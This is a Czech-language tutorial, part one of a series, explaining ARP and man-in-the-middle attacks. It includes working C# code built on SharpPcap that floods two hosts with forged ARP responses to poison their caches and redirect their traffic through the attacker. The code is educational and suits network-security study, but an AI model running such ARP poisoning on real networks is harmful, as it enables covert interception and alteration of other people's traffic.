Man in the middle útok v C# – ARP poisoning (1)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: jech
Datum: 2.12.2013
Hodnocení/Hlasovalo: 2.62/13

V minulých dvou článcích jsem se věnoval knihovně Jpcap pro Javu a dvěma základním útokům. Jpcap bohužel není dokonalý a na Man in the middle attack již knihovna prostě nestačila.

Přestože odesílání paketů v Jpcap fungovalo na jedničku, zachytávání ne. Nová verze sice existuje, ale je značně přepracovaná a již není podporovaná. Přechod na novější verzi mi tak nedával smysl. Hledal jsem tedy alternativu a našel knihovnu SharpPcap, což je framework pro WinPcap napsaný v .NET. S podporou je to lepší než u Jpcap, takže jsem se rozhodl v knihovně něco napsat.

V Jpcap nefungovalo zachytávání paketů, kvůli kterému jsem v Javě nedopsal Man in the midle attack (dále jen MiM nebo MitM). V C# s pomocí knihovny SharpPcap (a také Packet.Net) se vše nakonec podařilo. V první řadě se podíváme na to, co vlastně MiM je.


Man in the middle útok

MiM lze přeložit jako „muž uprostřed“ a jeho podstata spočívá v tom, že mezi dvěma komunikujícími uzly se nachází uzel třetí, přes který všechen provoz prochází. Má tak možnost tento provoz nejen monitorovat, ale také měnit. Žádný z uživatelů komunikujících uzlů samozřejmě o existenci třetího uzlu neví.

Představte si jednoduchou lokální síť, kde jsou spolu napřímo spojeny dva počítače. Komunikují tedy přímo spolu po jednom kabelu. Útočník v takovém situaci může kabely přerušit, vložit do sítě vlastní zařízení a odposlouchávat provoz mezi dvěma stanicemi. K pochopení problému vám pomůže i níže uvedený obrázek.

Útočník dnes v přepínané síti nemusí řezat kabeláž a může síťové prvky snadno donutit, aby provoz určený okolním uzlům posílaly jemu. Útočník se tak vůbec nemusí fyzicky nacházet mezi danými uzly, stačí mu přítomnost na stejné síti. Ke zmatení síťových prvků může využít například ARP poisoning.



Zdroj obrázku: https://www.owasp.org/index.php/Man-in-the-middle_attack


ARP protokol a ARP poisoning

Zásadním předpokladem k pochopení ARP poisoningu je znalost toho, co je ARP protokol a jak funguje. Zkráceně to lze vysvětlit tak, že ARP protokol zjišťuje fyzickou adresu uzlu na základě jeho IP adresy. Zkusím to vysvětlit podobněji.

Na ethernetové síti potřebují uzly pro komunikaci znát fyzické, neboli MAC adresy. Představte si situaci, kde chcete z uzlu A s IP 192.168.0.1 „pingnout“ uzel B s IP 192.168.0.2. Uzel A nejprve zjistí, že B je na stejné podsíti ví, že tak může paket směrovat přímo na daný uzel. Zkontroluje svou ARP tabulku a zjistí, že MAC adresu pro uzel B nezná.

Vyšle tedy tzv. ARP request na broadcast (mac adresa ff:ff:ff:ff:ff:ff) a čeká na odpověď. Request lze specifikovat takto: „kdo má IP adresu 192.168.0.2? Oznamte 192.168.0.1“. Uzel A se tedy ptá, zda někdo náhodou nezná fyzickou adresu patřící k IP 192.168.0.2. Pokud je uzel B na síti aktivní, odpoví paketem ARP response „192.168.0.2 má fyzickou adresu AB:AB:AB:AB:AB:AB“.

Uzel A tedy zná fyzickou i síťovou adresu B a může tak odeslat daný paket. Aby nemusel uzel při každém odesílaném paketu zjišťovat, kdo má danou IP adresu, uloží záznam do ARP cache. Ta má formu jakési tabulky, která obsahuje IP adresy a k nim přiřazení fyzické adresy.

Proces zle zkrátit do 4 bodů:


ARP protokol má ale problém, protože neobsahuje žádný bezpečnostní mechanismus. Pokud by tedy místo daného uzlu B odpověděl útočník, bude dostávat všechna data určená pro IP adresu 192.168.0.2! Navíc, uzly přijímají ARP odpovědi, i když neodeslaly žádný dotaz (třeba již danou IP mají v cache). Velmi snadno se tak dá manipulovat s ARP tabulkou na libovolných uzlech – prostým odesíláním ARP respose paketů. Uzly tuto informaci přijmou, i když se na nic neptaly (neznám implementaci ARP, která by toto řešila, tím ale netvrdím, že neexistuje).

Pokud tedy dokážeme uzlu namluvit, že IP adresa se skrývá za jinou fyzickou adresou, bude uzel odesílat všechna data jinam, než zamýšlí. Tomuto typu útoku se říká ARP poisoning (otrávení ARP cache) a nám se bude hodit pro implementaci MiM.

Implementace Man in the middle attack

Tato implementace se skládá z dvou hlavních částí:


Základem je funkce manInTheMiddleAttack, která nejprve dvakrát volá funkci pro ARP poisoning a poté volá funkci pro zachytávání a přesměrování paketů. Všechny funkce jsou puštěny v samostatném vlákně. Nejprve se podíváme na ARP poisoning, ostatní části kódu vysvětlím příště. Na síti tedy existují dva uzly(A a B), naším cílem je zkoumat jejich vzájemnou komunikaci, kterou musíme nejprve přesměrovat na své zařízení. To uděláme právě ARP poisoningem.


private static void manInTheMiddleAttack()
{
  int readTimeoutMillisecond = 1000;

  CaptureDeviceList devices = CaptureDeviceList.Instance;
  ICaptureDevice device = devices[2];
  device.Open(DeviceMode.Normal, readTimeoutMillisecond); //otevreni sitoveho zarizeni

  string filter = "not ether src host 00:00:00:11:11:11 and ((src host 192.168.2.104 and not dst host 192.168.2.101) or (not src host 192.168.2.101 and dst host 192.168.2.104))";

  ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, celeronIP, localRouterIp, localRouterMac); }); //otraveni arp cache prvnimu uzlu
  ThreadPool.QueueUserWorkItem((o) => { ARPpoisoningAttack(device, localPcMac, localRouterIp, celeronIP, celeronMAC); }); //otraveni arp cache druhemu uzlu          
  ThreadPool.QueueUserWorkItem((o) => { CatchAndResendPackets(filter, device); }); //preposilani paketu co prisli z routeru na PC s realnou IP i MAC 
}


Potřebujeme otrávit ARP cache na obou uzlech a to tak, aby všechnu komunikaci posílaly nám. Nejprve otrávíme cache na uzlu A. Jinými slovy uzlu A namluvíme, že uzel B (resp. jeho IP adresa) se skrývá za jinou fyzickou adresou (za tou naší), než tomu ve skutečnosti je. To samé poté provedeme pro uzel B.

Výsledkem tedy je, že oba uzly budou posílat danou komunikaci nám. K ARP poisoningu slouží funkce pojmenovaná ARPpoisoningAttack. Ta přijímá celkem 5 parametrů – síťové zařízení, mac adresu útočníka, IP adresu uzlu, jehož trafic budeme přesměrovávat (tj. IP adresa jež měla být správnou destinací paketů) a IP a MAC adresu uzlu, kterému otrávíme ARP cache.

Protože by se mohlo stát, že napadený uzel si po chvíli zase ARP cache opraví (dojde mu paket od skutečného uzlu) je potřeba otravu periodicky opakovat. K tomu může posloužit třeba for cyklus s 10 000 opakováními (vhodnější by byl nekonečný while, ale to není v tomto příkladu podstatné). Neměli bychom také síť svými ARP pakety přetížit, proto je potřeba mezi každým odeslaným paketem počkat – v našem případě dvě vteřiny.


)
public static void ARPpoisoningAttack(ICaptureDevice device, PhysicalAddress attackerMACaddres, IPAddress victimIPaddres, IPAddress poisonedPcIP, PhysicalAddress poisonedPcMac)
{
  for (int i = 0; i < 100000; i++)
  {
    PhysicalAddress attackerMACaddress = localPcMac; //utočníkem jsme my, tedy PC, ze kterého utok běží, tj. localPC. (viz staické promené)
    Sender.sendARPresponsePacket(device, localRouterIp, victimIPaddres, attackerMACaddress, poisonedPcMac); //odeslani ARP paketu
    System.Threading.Thread.Sleep(2000); //cekani 2 vteřiny
  }
}


Funkce ARPpoisoningAttack využívá pro posílání ARP response paketu funkci sendARPresponsePacket ze statické třídy Sender. Ta je v celém řešení nejdůležitější funkcí, neboť odesílá samotné ARP response pakety. Přijímá v podstatě stejné parametry jako funkce ARPpoisoningAttack. Funkce využívá statické proměnné třídy, které definují IP a MAC adresy. Ty jsi do zdrojového kódu ale určitě dokážete doplnit.

Ve fci je mejprve vytvořen ARPPacket s operací response a obdrženými parametry. Dále je nutno vytvořit ethernetový paket typu ARP, nakonec je potřeba ethernetovému pakety přiřadit ARP payload a máme skoro hotovo. Skoro píši proto, protože arp paketu je totiž nutné ještě nastavit nějaký payload (neboli data která nese). Jinak je z nějakého důvodu ignorován.


public static void sendARPresponsePacket(ICaptureDevice device, IPAddress srcIP, IPAddress dstIP, PhysicalAddress srcMac, PhysicalAddress dstMac)
{
  ARPPacket arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP); //sestaveni ARP paketu
  EthernetPacket eth = new EthernetPacket(srcMac, dstMac, EthernetPacketType.Arp); //sestavení ethernetového rámce

  arp.PayloadData = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };//přidání payloadu

  eth.PayloadPacket = arp; //přidání ARP paketu jako nákladu ethernetového rámce
  device.SendPacket(eth); //odeslání ethernetového paketu
}


Knihovna SharpPcap útok ARP poisoning opravdu velmi zjednodušila a žádný další zdrojový kód tak není potřeba. V příštím díle se podíváme na to, jak zachytávat přesměrované pakety a přeposílat je na správný uzel. Na závěr také publikuji kompletní zdrojové kódy daného řešení. Zatím si můžete např. pomocí Wiresharku ověřit, zda vám funguje ARP poisoning.

Kopletní zdrojové kódy jsou ke stažení zde.